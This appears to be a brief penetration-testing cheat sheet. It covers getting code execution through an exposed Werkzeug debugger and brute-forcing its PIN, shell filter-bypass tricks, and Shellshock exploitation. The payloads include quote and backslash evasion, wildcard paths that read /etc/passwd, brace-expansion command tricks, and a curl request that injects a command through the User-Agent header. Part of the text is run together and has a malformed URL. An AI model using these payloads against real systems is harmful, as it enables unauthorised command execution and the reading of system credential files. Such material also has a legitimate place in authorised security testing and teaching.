Werkzeug Debugger
Find somewhere where user input can be supplied and submit the following string to cause an error:
strіng
If the target is running their application in debug mode you might be able to run commands. If you are running the target locally, you can probably brute-force the debugger PIN. The debugger PIN is always in the following format: ***-***-***.
Basic Bypasses
i'''d
i"""d
\l\s -l\a\h
cat /e?c/p?ss??
cat /e??/??ss*
{ls,}
{ls,-a}
Shellshock Bug
() { :;}; echo vulnerablecurl -H "User-Agent: () { :; }; /bin/eject" http:https://example.com/